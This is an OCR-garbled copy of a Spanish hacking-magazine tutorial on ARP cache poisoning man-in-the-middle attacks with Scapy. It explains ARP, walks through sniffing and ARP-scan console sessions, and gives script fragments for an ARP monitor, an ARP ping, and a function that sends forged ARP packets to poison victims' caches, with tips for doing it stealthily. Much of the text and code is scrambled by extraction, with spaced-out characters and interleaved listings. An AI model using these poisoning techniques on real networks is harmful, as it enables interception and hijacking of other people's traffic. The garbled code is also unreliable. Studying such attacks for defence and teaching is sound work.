Manipulacion avanzada de paquetes tcp/ip con scapy parte II

22

description

Manipulacion avanzada de paquetes tcp/ip con scapy

Transcript of Manipulacion avanzada de paquetes tcp/ip con scapy parte II

5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com

http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii

5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com

http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii

hack

o = a0 00

: : , - = crack-.-,- . .c k K C roc k . e sww.ho

Manipulaci6n avanzada de

paquetes TCP/IP con Scapy

- Parte IIEn este articulo veremos como lIevar a cabo exitosamente un ataque de

hombre en el medio utilizando Scapy. Haremos un repaso del protocolo

ARP, veremos susdebilidades y como aprovecharnos de elias.

1. Introducci6n

Los ataques del tipo MITM {Man-in-the-Middle 0

Hombre-en-el-Medio} han sido uno de los

ataques mas exitosos que comprometen la

privacidad y la confidencialidad de unaconversaci6n. EIconcepto es bastante viejo pero

constantemente se desarrollan nuevas tecnlcas

que 1 0 perfeccionan y que posibilitan su

aplicaci6n por personas con pocos 0 nulos

conocimientos en el tema.

En terrnlnos generales, los ataques MITM

consisten en el acto de un individuo

inhautorizado en posicionarse en el segmento

de una conversacion ajena para espiar,interceptar y modificar la comunicaci6n.

Una forma claslca y sencilla de asimilar esta

tecnlca con algo cotidiano es el juego que

muchos de nosotros jugamos de pequelios,

cuyo objeto era reirse con la distorsi6n

generada al ir soplando una palabra 0 frase de

oreja a oreja, entre un grupo de gente: "EIjuego

del telefono".

La primera persona de la fila dice {en voz baja}

un mensaje a la de al lado, que luego 1 0

reproduce a la siguiente persona. Este proceso

se repite hasta que, eventualmente, se lIega al

final de la fila y la ultima persona 1 0 debe decir

en vozalta.

Muchas veces, el mensaje original es muy

distinto al mensaje que recibe el ultimo

participante del juego. Por ejemplo, si el

mensaje original fuera "EI cielo es celeste" serla

muy gracioso que el mensaje final fuera "Mi

cabello es celeste". Bueno, serla gracioso si

tuvierarnos ocho alios! Pero como no los

tenemos {somos gente grande y responsable}

debemos seguir con 1 0 nuestro ...

Figura 1. Personajes famosos jugando el"juego del tel~fono".

www.heCKx(ra·c·K.es

5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com

http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii

hack

o = a0 00

: : , - = crack- . -,- . .c k K C roc k . e sww.ho

hecho de que su exlto (0 fracaso) no depende

del sistema operativo de la victima ni de

vulnerabilidades especfficas en su sistema. Enotras palabras, aunque todos los dispositivos y

sistemas operativos en una red se encuentren

100%al dla con actualizaciones y "parches" aun

es posible que los clientes de la red sean

vulnerables a este tipo de ataques. Por esa

raz6n, el ataque MITM es una comun opci6n

para atacantes con fines maliciosos que buscan

robar y comprometer informaci6n sensible y

confidencial.

1.1 LC6mo funciona un ataque MITM?

Un ataque MITM se puede lIevar a cabo

mediante una gran variedad de tecnicas,

dependiendo del tipo de acceso que tenga el

atacante a la red en cuesti6n y de los tipos de

protocol os utilizados. A modo de repaso, un

ataque MITM ocurre cuando un atacante se

"inyecta" entre dos puntos 0 nodos de

comunicaci6n con el objetivo de espiar la

comunicaci6n durante su transcurso (sin que losparticipantes legftimos de la conversaci6n se

den cuenta).

En este articulo vamos a presentar los

lineamientos baslcos de un ataque MITM y los

conceptos relacionados con una de las formas

claslcas de lIevarlo a la practice: "ARP Cache

Poisoning" 0 "Envenenamiento de lacache ARP".

En la Figura 2 se muestra la anatomfa de un

ataque MITM que, a pesar de su simpleza, ilustra

el concepto fundamental de este tipo de

ataques. En dicha figura, el flujo normal de

informaci6n se representa mediante la Ifnea

negra: el router se encarga de dirigir el traflco

entre un host de la red interna e internet (y

viceversa).

EIataque MITM se representa con una Ifnea roja

en la Figura 2. Con la ayuda de una colecci6n de

tecnlcas y herramientas, el atacante es capaz de

"redirigir" el traflco entre el usuario y el routercon el objetivo de que toda la informaci6n que

el usuario intercambia con internet pase a traves

de su computadora.

En primer lugar, el atacante debe engariar a la

computadora del usuario haclendole pensar

que la computadora del atacante es el router.

-- Cornunicaclon normal

__ Ataque MITM

~ Internet

~Router/

Switch

.,~Usuario ~

Atacante

F i g u r a 2 . E s c e n a r i o t i p i c o d e u n a t a q u eM I T M .

Luego, el atacante debe realizar otro ataque

para engariar al router de modo que este piense

que la computadora del usuario es la del

atacante. De esta forma, todo el traflco que iba a

ser intercambiado entre el usuario y el router va

a ser redirigido a traves de la computadora del

atacante.

Una vez que el atacante logr6 exitosamente

insertarse en el segmento de red entre el

usuario y el router, es capaz de realizar una serie

de ataques que resumimos a continuaci6n:

Monitoreo del tr6fico: Como es evidente,

cuando el atacante se encuentra en esta

situaci6n es capaz de monitorear y espiar todo

el traflco entre el router y el usuario. Por 1 0

3 www.hacKx(ra·c·K.es

5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com

http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii

hacko = a0 00

: : , - = crack- . -,- . .c k K C roc k . e sww.ho

tanto, el atacante tiene acceso a informaci6n

sensible y confidencial que el usuario puede

estar intercambiando con internet.Inyeccion de comandos: EI atacante es capaz

de inyectar comandos con el objetivo de utilizar

o robar una sesi6n ya establecida por el usuario

(hijacking). Estetipo de ataques se lIevan a cabo

una vez que el usuario pas6 la etapa de

autenticaci6n.

Denegacion de servicio: Como el atacante

tiene control total del flujo de datos que

"atraviesa" su maqulna, es capaz de establecer

las condiciones de un ataque de denegaci6n de

servicio.

2. Protocolo ARP

Una de lasformas mas comunes de lIevar a cabo

un ataque MITM es mediante el

envenenamiento de la cache ARP del usuario.

Para poder entender este escenario y ver

algunas formas de lIevarlo a la practice, es

indispensable repasar los conceptos asociados

al protocolo ARP(Address Resolution Protocol).

2.1 ARP (Address Resolution Protocol)

EI protocolo ARP (RFC826) es utilizado con el

objetivo de proveer un mapeo entre las

direcciones de la capa

3 (Network) del

modele 051 con las de Usuario 1IP - 192.168.1.100

la capa 2 (Data Link). MAC - 11:22:33:44:55:66

Este mapeo permiteuna asociaci6n entre

direcciones 16gicas

(como las del

protocolo de internet

IP) y direcciones

f' . d dl . . Usuario 2ISlcas e ISPOSltlVOS IP _ 192.168.1.101

como las tarjetas de MAC - 22:33:44:55:66:77

red.

IP/Ethernet, los sistemas operativos necesitan

mapear las direcciones IP (de longitud de 32

bits) en direcciones MAC (de 48 bits) para enviarlos paquetes pertinentes directamente al host

correspondiente dentro de la misma red interna.

Si el host no pertenece a la red interna, el

paquete debe ser enviado por la puerta de

enlace predeterminada (router) que se

encarqara adecuadamente de su enrutamiento.

La comunicaci6n utilizando el protocolo ARPse

facilita mediante el intercambio de paquetes de

petici6n (request) y respuesta (reply) entre los

distintos dispositivos que utilizan este protocolo

dentro de una red.

Cuando un determinado host requiere la

direcci6n ffsica (MAC) de un determinado

dispositivo, envfa una petici6n ARP a la

direcci6n de broadcast (que es una direcci6n

que es escuchada por todos los clientes de la

red) que contiene la siguiente informaci6n,

entre otras:

Direcci6n IP del host que realiza lapetici6n(psrc).

- Direcci6n MAC del host que realiza la

petici6n(hwsrc).

- Direcci6n IP del sistema que se requiere la

direcci6n ffsica(pdst).

)Route;; .

Switch

P - 192.168.1.1

AA:BB:CC:44:55:66

Internet

Usuario

En lasredes F i g u r a 3 . A s o c i a c i 6 n e n t r e d i r e c c i o n e s I P y M A C e n t r e l o s h o s t s

d e u n a r e d i n t e r n a .

4 www.heCKx(ra·c·K.es

5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com

http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii

hack

o = a0 0_0

;~.. crack,,- . .c k K C roc k _ e sww-ho

Con el objetivo de mantener las peticiones ARP

al mlnimo en una red, los sistema operativos

mantienen una cache 0 tabla de ARP, queguarda el mapeo durante un tiempo

determinado (usualmente unos dos minutos).

Dicha tabla se puede visualizar con el comando

"arp -a" tanto en WINDOWS como en los

sistemas tipos UNIX. Si el Usuario 1 de la Figura

3 ejecuta dicho comando en su computadora,

vera una salida en pantalla como lasiguiente:

Usuario-1:/home/usuario* arp -a

? (192.168.1.1) at AA:BB:CC:44:55:66 [ether] on

athO

? (192.168.1.114) at 22:33:44:55:66:77 [ether] on

athO

Una vez que un sistema recibe una petldon ARP,

debe observar su tabla local para ver si se

corresponde con la dlrecclon IPde la peticion. Si

el sistema contiene una entrada en su cache

ARPque indica que es el duerio de la dlrecclon

IP requerida en la petlcion, procede a enviar una

respuesta ARP al host que hizo dicha peticlon,

Finalmente, el host que hizo la petldon anade la

dlrecclon ffsica nueva en su tabla local para

futuro uso.

Listo con la teorla y cosasaburridas ...Manos a la

obra!

3.Manos a la obra

Para aprender mas sobre el protocolo ARP y

lIevar a la practice un ataque MITM envenando

la cache ARPde la vlctima vamos a utilizar una

herramienta lIamada Scapy. Scapy es un

programa que utiliza el lnteprete de Python

para facilitar la rnanlpulacion avanzada de

paquetes TCP/IPposibilitando al usuario enviar,

monitorear, disectar y personalizar paquetes.

Esta capacidad convierte a Scapy en una

herramienta muy poderosa para el analisls,

escaneo y ataques a redes. Encuadernos de esta

misma serie fue introducida esta herramienta y

se explicaron conceptos baslcos sobre como

usarla.

Muchos de ustedes se deben estarpreguntando: lY este tal Larry porque quiere

que usemos Scapy para hacer algo que ya esta

hecho con herramientas como arpsppof,

ettercap, etc.? Son muy faclles de usar y hay

muchlsima informacion en la red... lPara que

complicarse la vida y volver a hacer 10 que ya

esta hecho?

Bueno... Antes que te decidas a leer esto te

advierto que, a fines practlcos, ninguna

herramienta que salga como producto de este

articulo va a mejorar ni va a hacer algo distinto a

las conocidas por todos (arpspoof,ettercap,etc).

De hecho, van a hacer 10 mismo pero de una

forma mucho mas ineficiente!

La idea de este articulo es, en primer lugar,

entender (aunque sea un poquito) como

funcionan estas herramientas que muchos de

nosotros las utilizamos como cajas negras. AI fin

y a cabo, esto del "hacking" es disfrutar delconocimiento profundo sobre el

funcionamiento interno de las cosas que nos

rodean.

Si 1 0 unlco que te interesa es hacer ARP

Spoofing para molestar y robar informacion,

este articulo (y el "hacking") no es paravos.

Ensegundo lugar, 10 mas valioso de este articulo

no son las herramientas que vamos a desarrollar(porque son muy sencillas y ya estan hechas),

sino la informacion relacionada con el uso de

Scapy.

,Que es 10 que hace que Scapy sea tan

especial?

Personalmente creo que es la unlca herramienta

de seguridad en redes capaz de hacer algo que

su autor nunca se lmaqino. Scapy ofrece un

5 www.heCKx(ra·c·K.es

5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com

http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii

hack

o = a0 00

: : , - = crack-.-,- . .c k K C roc k . e sww.ho

"entorno" de alto nivel para desarrollar

herramientas para el testeo de la seguridad de

redes de una forma simple y raplda,

La mayorfa de la aplicaciones cornunmente

usadas como arpspoofing, dsniff, traceroute,

arping, etc,

fueron

desarrolladas

para cosas muy

puntuales y es

muy diffcil hacer

algo que se

aparte mucho

del objetivo para

el cual fueron

pensadas.

Dicho esto, y si

aun queres

seguir leyendo el

articulo,

continuemos

con un poco dei g u r a 4 . A s r e v n i

a i r e i n e g i .

inversa.

ingenierfa

3.1 Entendiendo el protocolo ARP.

En esta secci6n vamos a utilizar la funci6n

<sniff> de Scapy para capturar paquetes que

"andan dando vueltas por nuestra red". En

particular, nos interesan los paquetes ARP para

poder estudiarlos y comprender un poco mas el

protocolo. EI escenario es el siguiente: yo tengola IP 192.168.1.106 con MAC 11:22:33:44:55:66,

el punto de acceso tiene la IP 192.168.1.1 Y hay

otro cliente con la IP 192.168.1.114 {ver Figura 3}.

Verifico la tabla ARP que tiene guardada mi

sistema operativo {uso Debian Testing 2.6.32-

amd64},

Larry:/home/larryi arp -a

? (192.168.1.1) at AA:BB:CC:44:55:66 [ether] on

athO

Como vemos, tengo una entrada con la

direcci6n ffsica del router y no hay ningunarelacionada con el host que esta en

192.168.1.114 {obviamente las MACs que estoy

usando son ficticias}.

Abrimos una consola y ejecutamos Scapy para

monitorear los paquetes ARP pertenecientes al

traflco de nuestra red:

Larry:/home/larryi scapy

WARNING: No route found for IPv6 destination ::

(no default route?)

Welcome to Scapy (2.1.0)

»> arp~ackets =

sniff(iface="athO",filter="arp",count=2)

La slntaxis es bastante simple:

iface: Es la interfaz en la cual va a escuchar

Scapy para monitorear los paquetes {si no

especificamos ninguna va a escuchar en todas

las disponibles}.

filter: Aquf va la sintaxis del filtro para descartar

los paquetes que no nos interesan. Los filtros

son del tipo de tcpdump. Por ejemplo, se podrfa

especificar un filtro del tipo "icmp and host

192.168.1.1".

count: Es la cantidad de paquetes que

queremos captar con la funci6n sniff. Pusimos 2

paquetes para armar un "dupla" de petici6n-

respuesta ARP.

AI mismo tiempo que ponemos a la escucha a

Scapy, abrimos otra consola y hacemos un pinga la IP 192.168.1.114. De esta forma, forzamos a

que nuestro sistema operativo realice una

petici6n ARP para saber la direcci6n MAC del

host que tiene dicha IP y enviar correctamente

el paquete dentro de nuestra red interna.

Larry:/home/larryi ping 192.168.1.114

PING 192.168.1.114 (192.168.1.114) 56(84) bytes

of data.

64 bytes from 192.168.1.114: icmp_req=1 ttl=64

time=3.69 ms

64 bytes from 192.168.1.114: icmp_req=2 ttl=64

time=3.74 ms

6 www.heCKx(ra·c·K.es

5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com

http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii

hack

o = a0 0_0

: : , - = crack-.-,- . .c k K C roc k _ e sww-ho

hC

--- 192.16S.1.114 ping statistics ---

2 packets transmitted, 2 received, 0% packet

loss, time 1001ms

rtt min/avg/max/mdev = 3.69S/3.722/3.747/0.065 msc

Una vez hecho esto, vemos que la funclon sniff

termina su trabajo y nos "devuelve" la consola

en Scapy. Esto quiere decir que capto

correctamente dos paquetes ARP y los quardo

en lavariable arp_packets.

Manipulemos dicha variable para investigar 1 0

que recibimos,

»> arp_packets

<Sniffed: TCP:O UDP:O ICMP:O Other:2>

»> len(arp_packets)

2

»> arp_packets[O]

<Ether dst=ff:ff:ff:ff:ff:ff

src=11:22:33:44:55:66 type=OxS06 1 <ARP

hwtype=Ox1 ptype=OxSOO hwlen=6 plen=4 op=who-has

hwsrc=11:22:33:44:55:66 psrc=192.16S.1.106

hwdst=OO:OO:OO:OO:OO:OO pdst=192.16S.1.114 I»

»> arp_packets[l]

<Ether dst=11:22:33:44:55:66

src=22:33:44:55:66:77 type=OxS06 1 <ARP

hwtype=Ox1 ptype=OxSOO hwlen=6 plen=4 op=is-at

hwsrc=22:33:44:55:66:77 psrc=192.16S.1.114

hwdst=11:22:33:44:55:66 pdst=192.16S.1.106 I»

»>

Vemos claramente que recibimos dos paquetes,

ambos con la capa ARPsobre la capa Ethernet.

Ambas capas tienen distintos campos que

pasamos a resumir a contlnuadon,

Ethernet

dst:Es un campo de 48 bits que indica la

direcclon ffsica del dispositivo al cual se envfa el

paquete. Notar que ff:ff:ff:ff:ff:ff representa la

direcclon ffsica del broadcast.

src: Es un campo de 48 bits que indica la

direcclon ffsica del dispositivo que envfa el

paquete.

type: Este es un campo de 16 bits que indica el

protocolo superior que contiene el paquete (en

este caso,esARP).

ARP

hwtype: Es un campo de 16 bits que define eltipo de red sobre la cual esta funcionando ARP.

En este caso, el valor Ox1 se corresponde a

Ethernet.

ptype: Esun campo de 16 bits que define el tipo

de protocolo que requiere del servicio de ARP.

Eneste caso,Ox800representa el protocolo IP.

hwlen: Este es un campo de 8 bits que

representa la longitud de la dlrecdon ffsica en

bytes. Como estamos hablando de una

dlrecdon MAC este campo es igual a 6 (donde 6

bytes =48 bits).

plen: De forma analoqa al campo hwlen, este

campo indica la longitud de la dlrecclon loqlca

(en este caso es una dlrecclon IPde 4 bytes = 32

bits).

op: Esun campo que define el tipo de operaclon

realizada. EItipo 1 indica una petldon y el tipo 2

una respuesta. Scapy nos muestra el campo de

forma que pueda ser leldo por mortales: (who-

has= lquien-tiene? = peticlon) y (is-at = esta-en

= respuesta).

hwsrc y psrc: Son las direcciones ffsicas y loqlcas

respectivamente del dispositivo que envfa el

paquete (origen).

hwdst y pdst: Son las direcciones ffsicas y loqlcas

respectivamente del dispositivo al cual se debe

enviar el paquete.

De la dupla de paquetes en la lista arp_request,

vemos que el primero de ellos se correspondecon la peticion ARPpor parte de mi rnaqulna. Mi

sistema operativo necesita saber cual es la

dlrecdon ffsica del dispositivo que tiene

asociada la IP 192.168.1.114para poder enviar el

paquete ICMPcorrectamente. Por 1 0 tanto, envfa

una petlcion ARPa ladlrecclon de broadcast.

EI host con la IP 192.168.1.114 escucha dicha

petlcion y envfa una respuesta a mi maqulna

{solamente a la mfa, como se puede ver en el

7 www.heCKx(ra·c·K.es

5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com

http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii

hack

o = a0 00

: : , - = crack-.-,- . .c k K C roc k . e sww.ho

encabezado

correspondiente

al campoEthernet donde

aparece mi MAC

11:22:33:44:55:6

6}. De esa forma,

mi sistema

operativo

agrega una

entrada a la

tabla local ARP

con el

mapeo

realizado.

nuevo

Larry

IP - 192.168.1.106

MAC- 11:22:33:44:55:66

Abriendo

consola,

verificamos,

Larryuna

Broadcast

IP - 192.168.1.255

MAC- ff:ff:ff:ff:ff:ff

Usuario

IP - 192.168.1.114

MAC- 22:33:44:55:66:77

Usuario

Mi direcci6n MAC es 22:33:44:55:66:77

F i g u r a 5 . P r o c e s o t i p i c o e n u n i n t e r c a m b i o p e t i c i 6 n - r e s p u e s t a A R P .

L a r r y:/h o m e / 1 a r r y

II ar p -a

? (1 92. 168. 1. 1) a t AA:BB:CC:44:55:66 [e the r] o n

a t hO

? (1 92. 168. 1. 11 4) a t 22:33:44:55:66:77 [e the r] o n

a t hO

Como vemos, el proceso es relativamente

sencillo. Parafinalizar esta secclon 1 0 resumimos

en la Figura 5.

3.2 Herramientas simples con el

protocolo ARP.

Con 1 0 aprendido hasta ahora podemos

desarrollar pequeflos scripts que hagan uso delprotocolo ARP para obtener informacion de

nuestra red interna. Paraeso vamos a introducir

una serie de funciones que conforman el

corazon de Scapy: son las funciones send-

receive 0 funciones de enviar-recibir. Esta

familia de funciones no solo envfan estfmulos y

reciben respuestas sino tambien emparejan los

estfmulos con las respuestas recibidas. La

funclon srO envfa un conjunto de paquetes

personalizados (en la capa 3) y devuelve dos

listas: la primera de elias es una lista de duplas

donde cada una representa un estfmulo y su

respuesta;y la segunda esotra lista de paquetes

que fueron enviados pero sin respuestas. La

funclon srpf) hace exactamente 1 0 mismo que la

srO pero trabaja en la capa 2 (es decir, hay que

especificar correctamente la interfaz y el

protocolo de la capa de enlace).

Para entender mejor su funcionamiento vamos

a crear 256 peticiones ARP para todas las IP de

mi red interna (192.168.1.0/24) y las vamos a

enviar al broadcast usando la funclon srpf) de

Scapy.

La r r y:/ho m e/l a r ry ll s ca py

WARNING: No r o u t e f o u n d f o r IP v6 d e s t i n a t i o n . •

(n o d ef a u l t r o ut e ?)

We l co m e t o Sca py (2. 1 . 0)

»> c ap a_ e t h e r n e t =E th e r ( d s t = " f f : f f : f f : f f : f f : f f " )

»> m i_n et = " 192. 168. 1. 0/24"

»> ca pa _a rp = ARP (pd s t=m i_n et , o p=" who -ha s" )

»> p et i ci o ne s = ca pa _e t he r ne t /ca pa _a r p

»> a ns ,u na ns =s rp(pe ti ci on es , t im eo ut =2, r et ry=-

3 , i f a ce = "a t hO ")

Be gi n e mi ss io n:

*. *F i n i s he d t o s e n d 256 pa cke t s .

. ••Be gi n e mi s si on :

F i n i s he d t o s e n d 254 pa cke t s .

8 www.heCKx(ra·(·K.es

5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com

http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii

hack

o = a0 00

;~.. crack,,- . .c k K C roc k . e sww.ho

•••Begin emission:

Finished to send 254 packets.

•••Begin emission:

Finished to send 254 packets.

Received 230 packets, got 2 answers, remaining

254 packets

Veamos rapldarnente que significan las

sentencias ingresadas en la linea de comando

de Scapy:

capa_ ethernet= Ether( dst= IIf:ff:ff:ff:ff:ff"):

Creamos una capa Ethernet con la dlreccion de

destino igual a lade broadcast.

mi_net=1192.168.1.0/24": Inicializamos una

variable de tipo "string" con el range de Ips de

mi red interna.

srp(paquetes)

Peticiones ARP

paquetes una vez que la cantidad de paquetes

no respondidos es la misma por 3 rondas de

seguidas. EI tiempo de espera en segundos porcada ronda se especifica en timeout=2 y la

interfaz utilizada con el pararnetro iface="athO".

Por ultimo, la salida del comando srp{) son dos

listas: ans que representa una lista de duplas de

estfmulos-respuestas y unans que es una lista de

paquetes que no fueron respondidos.

En la Figura 6 se representa graficamente el

proceso de envfo, recibo y "emparejamiento" de

paquetes.

Como podemos observar, solo recibimos dos

respuestas de los 256 paquetes que enviamos.

Dupla estrmulo-respuesta

Lista -cans»

Dupla estfmulo-respuesta

Paquetes sin respuestaLista <unans>

F i g u r a 6 . E n v i o d e p e t i c i o n e s A R P u s a n d o e l m e t o d o s r p ( ) d e S c a p y .

capa_arp=ARP(pdst=mi_net,op=lwho-has"):

Creamos 256 capas ARP con peticiones a cada

una de las Ips de mi red interna.

peticiones=capa_ethernet/ capa_arp: Aquf,

con el operador I, juntamos las dos capas quecreamos armando el conjunto de 256 peticiones

ARP.

ans,unans=srp(peticiones, timeout=2,retry=

-3,iface=IIathO"): Con este comando enviamos

las 256 peticiones que armamos. Scapy

autocompleta todos los campos que nosotros

no especificamos en las capas que armamos

(dlrecclon MAC e IP de origen, longitud de

direcciones ffsicas y loqlcas, etc.). EI retry=-3

significa que Scapy debe dejar de mandar los

Inspeccionemos las respuestas a

que enviamos manipulando

adecuadamente,

los estfmulos

las listas

»> len(ans)

2

»> len(unans)

254

»> ans.summary()

Ether / ARP who has 192.168.1.1 says

192.168.1.106 ==> Ether / ARP is at

AA:BB:CC:44:55:66 says 192.168.1.1

Ether / ARP who has 192.168.1.114 says

192.168.1.106 ==> Ether / ARP is at

22:33:44:55:66:77 says 192.168.1.114

»> ans[O]

«Ether dst=ff:ff:ff:ff:ff:ff type=Ox806 1 <ARP

op=who-has pdst=192.168.1.1 I», <Ether

dst=11:22:33:44:55:66 src=AA:BB:CC:44:55:66

type=Ox806 I<ARP hwtype=Ox1 ptype=Ox800 hwlen=6

plen=4 op=is-at hwsrc=AA:BB:CC:44:55:66

9 www.heCKx(ra·c·K.es

5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com

http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii

hack

0=00 00

: : , - = crack-.-,- . .c k K C roc k . e sww.ho

psrc=192.168.1.1 hwdst=11:22:33:44:55:66

pdst=192.168.1.106 I » )»> ans[1j

«Ether dst=ff:ff:ff:ff:ff:ff type=Ox806 I <ARP

op=who-has pdst=192.168.1.114 I » , <Ether

dst=11:22:33:44:55:66 src=22:33:44:55:66:77

type=Ox806 I <ARP hwtype=Ox1 ptype=Ox800 hwlen=6

plen=4 op=is-at hwsrc=22:33:44:55:66:77

psrc=192.168.1.114 hwdst=11:22:33:44:55:66

pdst=192.168.1.106 I » )

Ahora veamos las distintas formas de acceder a

los campos de cada una de las capas que

conforman un paquete. Cuando utilizamos la

notaci6n paq[ARP] significa que estamos

accediendo a la capa ARPdel paquete definido

en la variable paq. De la misma forma, sepodrfan referenciar otras capas que conforman

el paquete: paq[IP], paq[TCP],paq[UDP], etc.

»> respuesta 1 = ans[Oj[1j

»> print "La-IP "+respuesta_1[ARPj.psrc+" tiene

la MAC "\

••• +respuesta 1[ARPj.hwsrc

La IP 192.168.1.1 tiene la MAC AA:BB:CC:44:55:66

»> respuesta 2 = ans[1j[1j

»> print "La-IP "+respuesta_2[ARPj.psrc+"tiene

la MAC "\

••• +respuesta 2[ARPj.hwsrc

La IP 192.168.1.114 tiene la MAC 22:33:44:55:66:77

»> respuesta_1.sprintf ("La IP %ARP.psrc% tiene

la MAC %Ether.src%")

'La IP 192.168.1.1 tiene la MAC AA:BB:CC:44:55:66'

»> respuesta_2.sprintf ("La IP %ARP.psrc% tiene

la MAC %Ether.src%")

'La IP 192.168.1.114 tiene la MAC

22:33:44:55:66:77'

Para acceder a los paquetes obtenidos como

respuestas a los estfmulos enviados hay que

tener en cuenta que el paquete <ans> es una

lista de duplas envfos-respuestas. Por cada

componente de la lista existen dos paquetesdonde el primero de ellos es el estfmulo y el

segundo es la respuesta correspondiente (ver

Figura6).

EI metoda sprintfO que fue introducido

anteriormente es una de las herramientas mas

poderosas de Scapyy es la clave en el desarrollo

de herramientas personalizadas. Permite

obtener informaci6n sobre campos especfficos

de un determinado paquete. Para nuestros

fines, el formato de una directiva es:

"%Capa.Campo%". Aunque el formato exacto es

ligeramente mas complicado (no mucho mas)por ahora nos quedamos con esa imagen de

sprintfO (el que quiera profundizar puede ver el

manual de Scapy en la paqlna oficial). Por

ejemplo, las directivas tfpicas en alguna

herramienta personalizada podrfan ser:

"%IP.src%","%Ether.dst%", "%TCP.dport%", etc.

3.3 Monitor simple de tr'fico ARP.

A continuaci6n presentamos un sencillo script

que monitorea el traflco ARP de nuestra red

interna (ver listado 1). Si 1 0 dejamos corriendo

un buen rata nos va a dar informaci6n sobre el

mapeo entre direcciones MACse IPs.

EI pararnetro stere-o simplemente Ie indica a

Scapy que no guarde en memoria los paquetes

que va capturando. Por otro lado, el pararnetro

prn=funcion_arp indica que cada vez que

<sniff> capture un paquete, debe lIamar a la

funci6n "funcion_arp" con el paquete como

argumento.

3.4 ARP Ping.

Otra herramienta de mucha utilidad es el ARP

Ping (ver listado 2), que simplemente envfa una

rafaqa de peticiones ARP de todas las IPs de la

red interna (a la direcci6n de broadcast).

Finalmente, se enumeran las respuestas

obtenidas y se puede obtener informaci6n

sobre las "duplas" IP-MACde los dispositivos denuestra red. Esta es una de las formas mas

rapldas de reconocer hosts en la red.

3.4 ARP Poison.

A continuaci6n les voy a presentar un script

sencillo (Iistado 3) para envenenar la cache ARP

del router y de un conjunto de hosts de una red

interna de modo que todos los paquetes

1 www.heCKx(ra·c·K.es

5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com

http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii

www-ho

o Ca0 00

;~.. crack,,- . .c k K C roc k _ e s

hack

* -*- co d i n g : u t f -8 -*-intercambiados entre los hosts y

el router pasen por la rnaqulna

del atacante (el que ejecuta elscript).

f r o m s ca py i m po r t *

* Mo n i t o r s i m pl e d e l t r a f i co ARP d e u n a r e d* P ro gr am ad or : La rr y

* C o r r e o : [email protected]

EI script es facll de entender y esta

bien comentado de modo que no

haya que dar muchasexplicaciones. Adaro que no esta s ni ff (i f ace =" at hO" , pr n =f un ci on _a rp, s t or e=O)

muy pulido y les recomiendo que

10 usen de base para desarrollar -------"""";"""'1---;"----;'----:::------;-:--------__J

una herramienta propia de ARP Listado 1. arp_monitor.py

Spoofing un poco mas completa (y a prueba de

posibles errores por parte del usuario). Adernas,

se podrfa agregar una opclon donde se

envenene la cache enviando peticiones ARP en

lugar de respuestas. Es decir, basta con

reemplazar la funclon <respuesta_arp> en

todos los lugares donde aparece el script por la

siguiente,

d e f f u n ci o n _a r p( pa q ue t e ):

i f (ARP i n pa qu e t e ) a n d (pa qu e t e [ARP j . o p i n (1 ,2»:

r et ur n pa qu et e. spr in tf (" %ARP .hws rc% ; %ARP .ps rc%" )

y de una serie de hosts en una red interna

enviando respuestas ARP,

d e f p et i ci o n _a r p ( pd s t ,h wd s t ,p sr c, hw s rc ,i f a ce ) :

a r p_ re qu e s t = E th er ( ds t =h wd s t )/ AR P( pd s t =p ds t ,

p s rc =p sr c, h ws r c= hw sr c ,

op="who-has")s e n d p( a rp_ r eq u e s t , i f a c e= i f a c e)

Por ultimo, les hago notar que este script

envenena la cache del router y de las vfctimas

de modo el traflco que pasa por la maqulna del

atacante es el de "ida" y "vuelta" (1 0 que va y 10

que viene de la WAN). Si desean hacerlo solo en

un sentido, se debe comentar la Ifnea pertinente

dentro del script.

Podrfan enviar las peticiones al broadcast

(ff:ff:ff:ff:ff:ff) 0 directamente a la maqulnas

<targets>. Puede sonar extrario enviar una

petlcion ARP de una dlrecdon MACr - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

precisamente a la dlrecclon MAC * -*- co d i n g : u t f -8 -*-

que se esta buscando pero enf r o m s ca py. a l l i m po r t *

realidad tiene mucho sentido. i m po r t s ys

Varios sistemas operativos utilizan

esos paquetes para actualizar sus

entradas en la tabla ARP (una

especie de "keep-alive packet" i f

para mantener actualizada la

cache). De hecho, esa tecnlca es

mucho mas efectiva y sigilosa que

la del envfo de respuestas ARP a

hosts que nunca las pidieron.

l e n (s ys . a rg v) 1 = 2:

pr in t " Us o : pyt ho n " +s ys . a r gv[Oj + " <r e d >\n "

pr in t " Ej em pl o: pyt ho n " +s ys .a rg v[Oj +" 1 92. 168. 1. 0/24"

pr in t " Ej em pl o: pyt ho n " +s ys .a rg v[Oj +" 1 92. 168. 1. *\n "

s y s . e x i t ( l)

# ARP P i n g (r e co n o ci m i e n t o d e ho s t s e n r e d )

# P r o g r a m a d or : La rr y

